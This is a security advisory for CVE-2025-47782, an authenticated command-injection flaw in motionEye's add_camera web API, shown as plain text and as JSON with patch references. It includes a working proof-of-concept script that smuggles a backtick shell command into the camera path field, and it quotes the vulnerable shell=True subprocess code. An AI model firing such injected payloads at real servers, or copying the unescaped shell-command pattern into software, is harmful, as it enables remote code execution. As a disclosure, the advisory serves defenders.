GHSA-G5MQ-PRX7-C588
Vulnerability from github – Published: 2025-05-15 16:10 – Updated: 2025-05-15 16:10Summary
Using a constructed (camera) device path with the config/add/add_camera motionEye web API allows an attacker with motionEye admin user credentials to execute any UNIX shell code within a non-interactive shell as executing user of the motionEye instance, motion by default.
function call stack
postadd_cameraconfig.add_camerav4l2ctl.list_resolutionsutils.call_subprocesssubprocess.run
PoC
build
RUN_USER="user"
RUN_UID=$(id -u ${RUN_USER})
RUN_GID=$(id -g ${RUN_USER})
TIMESTAMP="$(date '+%Y%m%d-%H%M')"
docker build \
--network host \
--build-arg="RUN_UID=${RUN_UID?}" \
--build-arg="RUN_GID=${RUN_GID?}" \
-t "${USER?}/motioneye:${TIMESTAMP}" \
--no-cache \
-f docker/Dockerfile .
reproduce
Run:
docker run --rm -d -p 8765:8765 --hostname="motioneye" -v /etc/localtime:/etc/localtime:ro -v /tmp/motioneyeconfig:/etc/motioneye -v /tmp/motioneyeconfig:/var/lib/motioneye
bash-4.2$ docker logs ceb435eacf55 -f
configure_logging cmd motioneye: False
configure logging to file: None
INFO: hello! this is motionEye server 0.43.1b3
DEBUG: found motion executable "/usr/bin/motion" version "4.7.0"
DEBUG: found ffmpeg executable "/usr/bin/ffmpeg" version "7.1.1-1+b1"
DEBUG: listing config dir /etc/motioneye...
DEBUG: found camera with id 1
DEBUG: reading camera config from /etc/motioneye/camera-1.conf...
DEBUG: loading additional config structure for camera, without separators
DEBUG: Using selector: EpollSelector
DEBUG: searching motion executable
DEBUG: starting motion executable "/usr/bin/motion" version "4.7.0"
INFO: cleanup started
INFO: wsswitch started
INFO: tasks started
INFO: mjpg customer garbage collector has started
INFO: server started
Now, run the following script to attack motionEye:
import requests
import json
url = "http://your_ip:8765/config/add?_username=admin&_signature=c22baef3399cb7328e22ded1ca68395b4daecd18"
payload = json.dumps({
"proto": "v4l2",
"path": "' `touch /tmp/bbbb` '"
})
headers = {
'Content-Type': 'application/json'
}
response = requests.request("POST", url, headers=headers, data=payload)
print(response.text)
Discussion
It is obvious that call_subprocess was used to execute the incoming data, resulting in a vulnerability
def list_resolutions(device):
from motioneye import motionctl
device = utils.make_str(device)
if device in _resolutions_cache:
return _resolutions_cache[device]
logging.debug(f'listing resolutions of device {device}...')
resolutions = set()
output = b''
started = time.time()
cmd = f"v4l2-ctl -d '{device}' --list-formats-ext | grep -vi stepwise | grep -oE '[0-9]+x[0-9]+' || true"
logging.debug(f'running command "{cmd}"')
try:
output = utils.call_subprocess(cmd, shell=True, stderr=utils.DEV_NULL)
except:
logging.error(f'failed to list resolutions of device "{device}"')
output = utils.make_str(output)
def call_subprocess(
args,
stdin=None,
input=None,
stdout=subprocess.PIPE,
stderr=DEV_NULL,
capture_output=False,
shell=False,
cwd=None,
timeout=None,
check=True,
encoding='utf-8',
errors=None,
text=None,
env=None,
) -> str:
"""subprocess.run wrapper to return output as a decoded string"""
return subprocess.run(
args,
stdin=stdin,
input=input,
stdout=stdout,
stderr=stderr,
capture_output=capture_output,
shell=shell,
cwd=cwd,
timeout=timeout,
check=check,
encoding=encoding,
errors=errors,
text=text,
env=env,
).stdout.strip()
Impact
RCE
Patches
The vulnerability has been patch with motionEye v0.43.1b4: https://github.com/motioneye-project/motioneye/pull/3143
Workarounds
Applying the following patch, replacing the literal single quotes in the created cmd string with a shlex.quoted input device: https://patch-diff.githubusercontent.com/raw/motioneye-project/motioneye/pull/3143.patch
References
https://github.com/motioneye-project/motioneye/issues/3142
Credit
The vulnerability was discovered by Tencent YunDing Security Lab.
{
"affected": [
{
"package": {
"ecosystem": "PyPI",
"name": "motioneye"
},
"ranges": [
{
"events": [
{
"introduced": "0.43.1b1"
},
{
"fixed": "0.43.1b4"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2025-47782"
],
"database_specific": {
"cwe_ids": [
"CWE-78"
],
"github_reviewed": true,
"github_reviewed_at": "2025-05-15T16:10:48Z",
"nvd_published_at": "2025-05-14T16:15:29Z",
"severity": "HIGH"
},
"details": "### Summary\nUsing a constructed (camera) device path with the `config/add`/`add_camera` motionEye web API allows an attacker with motionEye admin user credentials to execute any UNIX shell code within a non-interactive shell as executing user of the motionEye instance, `motion` by default.\n\n#### function call stack\n1. `post`\n2. `add_camera`\n3. `config.add_camera`\n4. `v4l2ctl.list_resolutions`\n5. `utils.call_subprocess`\n6. `subprocess.run`\n\n### PoC\n#### build\n```sh\nRUN_USER=\"user\"\nRUN_UID=$(id -u ${RUN_USER})\nRUN_GID=$(id -g ${RUN_USER})\nTIMESTAMP=\"$(date \u0027+%Y%m%d-%H%M\u0027)\"\n\ndocker build \\\n --network host \\\n --build-arg=\"RUN_UID=${RUN_UID?}\" \\\n --build-arg=\"RUN_GID=${RUN_GID?}\" \\\n -t \"${USER?}/motioneye:${TIMESTAMP}\" \\\n --no-cache \\\n -f docker/Dockerfile .\n```\n\n#### reproduce\nRun:\n```sh\ndocker run --rm -d -p 8765:8765 --hostname=\"motioneye\" -v /etc/localtime:/etc/localtime:ro -v /tmp/motioneyeconfig:/etc/motioneye -v /tmp/motioneyeconfig:/var/lib/motioneye\n```\n```console\nbash-4.2$ docker logs ceb435eacf55 -f\nconfigure_logging cmd motioneye: False\nconfigure logging to file: None\n INFO: hello! this is motionEye server 0.43.1b3\n DEBUG: found motion executable \"/usr/bin/motion\" version \"4.7.0\"\n DEBUG: found ffmpeg executable \"/usr/bin/ffmpeg\" version \"7.1.1-1+b1\"\n DEBUG: listing config dir /etc/motioneye...\n DEBUG: found camera with id 1\n DEBUG: reading camera config from /etc/motioneye/camera-1.conf...\n DEBUG: loading additional config structure for camera, without separators\n DEBUG: Using selector: EpollSelector\n DEBUG: searching motion executable\n DEBUG: starting motion executable \"/usr/bin/motion\" version \"4.7.0\"\n INFO: cleanup started\n INFO: wsswitch started\n INFO: tasks started\n INFO: mjpg customer garbage collector has started\n INFO: server started\n```\nNow, run the following script to attack motionEye:\n```python\nimport requests\nimport json\n\nurl = \"http://your_ip:8765/config/add?_username=admin\u0026_signature=c22baef3399cb7328e22ded1ca68395b4daecd18\"\n\npayload = json.dumps({\n \"proto\": \"v4l2\",\n \"path\": \"\u0027 `touch /tmp/bbbb` \u0027\"\n})\nheaders = {\n \u0027Content-Type\u0027: \u0027application/json\u0027\n}\n\nresponse = requests.request(\"POST\", url, headers=headers, data=payload)\n\nprint(response.text)\n```\n\n\u003cimg width=\"1187\" alt=\"Image\" src=\"https://github.com/user-attachments/assets/8e0a9bfe-8de3-4023-96d6-0e888bfe3c62\" /\u003e\n\n\u003cimg width=\"324\" alt=\"Image\" src=\"https://github.com/user-attachments/assets/04c73349-694a-4531-993e-eea765b87d0e\" /\u003e\n\n#### Discussion\nIt is obvious that call_subprocess was used to execute the incoming data, resulting in a vulnerability\n```python\ndef list_resolutions(device):\n from motioneye import motionctl\n\n device = utils.make_str(device)\n\n if device in _resolutions_cache:\n return _resolutions_cache[device]\n\n logging.debug(f\u0027listing resolutions of device {device}...\u0027)\n\n resolutions = set()\n output = b\u0027\u0027\n started = time.time()\n cmd = f\"v4l2-ctl -d \u0027{device}\u0027 --list-formats-ext | grep -vi stepwise | grep -oE \u0027[0-9]+x[0-9]+\u0027 || true\"\n logging.debug(f\u0027running command \"{cmd}\"\u0027)\n\n try:\n output = utils.call_subprocess(cmd, shell=True, stderr=utils.DEV_NULL)\n except:\n logging.error(f\u0027failed to list resolutions of device \"{device}\"\u0027)\n\n output = utils.make_str(output)\n\ndef call_subprocess(\n args,\n stdin=None,\n input=None,\n stdout=subprocess.PIPE,\n stderr=DEV_NULL,\n capture_output=False,\n shell=False,\n cwd=None,\n timeout=None,\n check=True,\n encoding=\u0027utf-8\u0027,\n errors=None,\n text=None,\n env=None,\n) -\u003e str:\n \"\"\"subprocess.run wrapper to return output as a decoded string\"\"\"\n return subprocess.run(\n args,\n stdin=stdin,\n input=input,\n stdout=stdout,\n stderr=stderr,\n capture_output=capture_output,\n shell=shell,\n cwd=cwd,\n timeout=timeout,\n check=check,\n encoding=encoding,\n errors=errors,\n text=text,\n env=env,\n ).stdout.strip()\n```\n\n### Impact\nRCE\n\n### Patches\nThe vulnerability has been patch with motionEye v0.43.1b4: https://github.com/motioneye-project/motioneye/pull/3143\n\n### Workarounds\nApplying the following patch, replacing the literal single quotes in the created `cmd` string with a `shlex.quote`d input device: https://patch-diff.githubusercontent.com/raw/motioneye-project/motioneye/pull/3143.patch\n\n### References\nhttps://github.com/motioneye-project/motioneye/issues/3142\n\n### Credit\nThe vulnerability was discovered by Tencent YunDing Security Lab.",
"id": "GHSA-g5mq-prx7-c588",
"modified": "2025-05-15T16:10:48Z",
"published": "2025-05-15T16:10:48Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/motioneye-project/motioneye/security/advisories/GHSA-g5mq-prx7-c588"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-47782"
},
{
"type": "WEB",
"url": "https://github.com/motioneye-project/motioneye/issues/3142"
},
{
"type": "WEB",
"url": "https://github.com/motioneye-project/motioneye/pull/3143"
},
{
"type": "PACKAGE",
"url": "https://github.com/motioneye-project/motioneye"
},
{
"type": "WEB",
"url": "https://github.com/pypa/advisory-database/tree/main/vulns/motioneye/PYSEC-2025-39.yaml"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:P",
"type": "CVSS_V4"
}
],
"summary": "motionEye vulnerable to RCE in add_camera Function Due to unsafe command execution"
}
Drag nodes to arrange them. Double-click a related vulnerability to open it, or a source to visit its link. The Physics button on the left tunes the layout and the simulation; the legend at the bottom left hides or shows nodes by kind and by sighting type.
Sightings
| Author | Source | Type | Date | Other |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.
Vulnerability timeline
Sightings and recorded dates, grouped by day · UTC
How durations are calculated
Following the VTEM framework (Black Hat USA 2015), time to patch starts when the vendor or a coordinator was informed, total time to patch at discovery, and disclosure to patch at public disclosure; vendor response time runs from the report to its acknowledgement. Time to exploit and time unpatched start at the earliest discovery or report, falling back to public disclosure. Unpatched time ends at the first recorded patch, or the calculation time when no patch is recorded. Exploitation to patch shows the interval between those two events; a published proof of concept is a public exploit, not exploitation.
Each result shows its source dates. A negative interval means the end event came first; when date-only inputs leave the order open, the result says so. Date-only inputs are approximate. The earliest evidence wins: KEV report dates and sightings are labelled as such. Records describing another vulnerability are listed but never calculated from, and a PoC alone does not establish exploitation. Missing patch evidence does not prove that no patch exists. Filters below change the event list only.
Loading timeline…
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.
Browse all ATT&CK techniques and the vulnerabilities related to each.
Related by attack behaviour
Vulnerabilities whose description is nearest to this one in the vector space of the CIRCL/vulnerability-attack-technique-biencoder model. This is a similarity search over the bi-encoder space (plain cosine), not a classification, and it has no measured accuracy.